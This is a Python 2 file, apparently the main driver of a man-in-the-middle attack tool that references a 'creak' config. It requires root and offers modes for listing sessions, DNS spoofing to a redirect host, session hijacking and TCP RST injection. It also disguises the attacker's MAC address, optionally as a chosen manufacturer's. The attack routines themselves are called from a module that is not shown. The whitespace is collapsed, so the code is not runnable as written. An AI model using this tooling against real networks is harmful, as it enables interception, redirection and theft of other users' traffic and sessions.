def main(): """ Main point of access of the program """ # check privileges (low level socket and pcap require root) if not os.geteuid() == 0: exit('You must be root.') print("") (args, changed, original_mac_addr, mitm) = get_mitm(parse_arguments()) if args.mode == 1: mitm.list_sessions(False, args.port) elif args.mode == 2: if not args.redir: exit("[!] Missing redirection") mitm.dns_spoof(args.host, args.redir) elif args.mode == 3: mitm.hijack_session(args.source) else: if args.port: mitm.rst_inject(args.port) else: mitm.rst_inject() if changed is True: try: time.sleep(1) print("[+] Resetting MAC address to original value " + G + original_mac_addr + W + " for device " + G + args.dev + W) utils.change_mac(args.dev, original_mac_addr) except OSError: pass
def get_mitm(parsed_args): """ create an object of type Mitm based on arguments received """ args = parsed_args if not args.dev: sys.exit(sys.argv[0] + ' -h for help\n[!] Must specify interface') dev = "%s" % "','".join(args.dev) original_mac_addr = utils.get_mac_by_dev(dev) mac_addr, changed = original_mac_addr, False if not args.source: try: args.source = utils.get_default_gateway_linux() except OSError: args.source = raw_input('[!] Unable to retrieve default gateway, please specify one: ') if not utils.is_ipv4(args.source): exit('[!] Unable to retrieve default gateway, please specify one using -s option') else: pass if not args.target: args.target = raw_input('[?] No target address specified, please insert one: ') if not utils.is_ipv4(args.target): exit('[!] Must specify at least one target address') else: if len(args.target) == 1: args.target = ''.join(args.target) conf = ConfigParser.ConfigParser() conf.read('./creak/config') verbose = conf.getboolean('output', 'VERBOSE') debug = conf.getboolean('output', 'DEBUG') if args.verbosity: verbose = True if args.debug: debug = True if args.spoof is True: choice = raw_input('[+] In order to change MAC address ' + G + dev + W + ' must be temporary put down. Proceed?[y/n] ') if choice == 'y': if not args.macaddr and not args.manufacturer: mac_addr = utils.fake_mac_address([], 1) elif args.macaddr and not args.manufacturer: if utils.parse_mac(args.macaddr) != utils.parse_mac(original_mac_addr): mac_addr = utils.fake_mac_address(utils.mac_to_hex(args.macaddr)) elif args.manufacturer: macs = utils.get_manufacturer(args.manufacturer) mac_addr = utils.fake_mac_address(utils.mac_to_hex(random.choice(macs))) try: utils.change_mac(dev, mac_addr) changed = True except OSError: pass print("[+] Waiting for wireless reactivation..") if args.mode == 1 or args.mode == 2: time.sleep(10) else: time.sleep(4) # no spoof but set mac address anyway elif args.macaddr: mac_addr = args.macaddr print("[+] Using " + G + mac_addr + W + " MAC address\n" "[+] Set " + G + args.source + W + " as default gateway") if conf.get('output', 'ENGINE').lower() == 'scapy': return (args, changed, original_mac_addr, cmitm.ScapyMitm(dev, utils.parse_mac(mac_addr), args.source, args.target, debug, verbose)) return (args, changed, original_mac_addr, cmitm.PcapMitm(dev, utils.parse_mac(mac_addr), args.source, args.target, debug, verbose))